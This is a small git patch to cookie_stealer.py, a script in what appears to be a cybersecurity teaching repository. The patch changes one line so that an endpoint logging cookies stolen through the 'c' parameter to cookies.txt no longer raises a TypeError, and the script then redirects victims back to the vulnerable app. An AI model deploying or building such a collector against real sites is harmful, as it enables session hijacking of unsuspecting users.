From c21cd4878f23df2d8c805c3c64dad70e5e5394c3 Mon Sep 17 00:00:00 2001 From: Dmitriy Stoyanov Date: Sun, 13 Feb 2022 21:39:47 +0000 Subject: [PATCH] Fix TypeError issue in cookie_stealer --- .../exploitation/cookie_stealer.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/programming_and_scripting_for_cybersecurity/exploitation/cookie_stealer.py b/programming_and_scripting_for_cybersecurity/exploitation/cookie_stealer.py index 26315f9..2985028 100644 --- a/programming_and_scripting_for_cybersecurity/exploitation/cookie_stealer.py +++ b/programming_and_scripting_for_cybersecurity/exploitation/cookie_stealer.py @@ -19,7 +19,7 @@ def cookie(): cookie = request.args.get('c') f = open("cookies.txt","a") - f.write(cookie + ' ' + str(datetime.now()) + '\n') + f.write(str(cookie) + ' ' + str(datetime.now()) + '\n') f.close() # redirecting the user back to the vulnerable application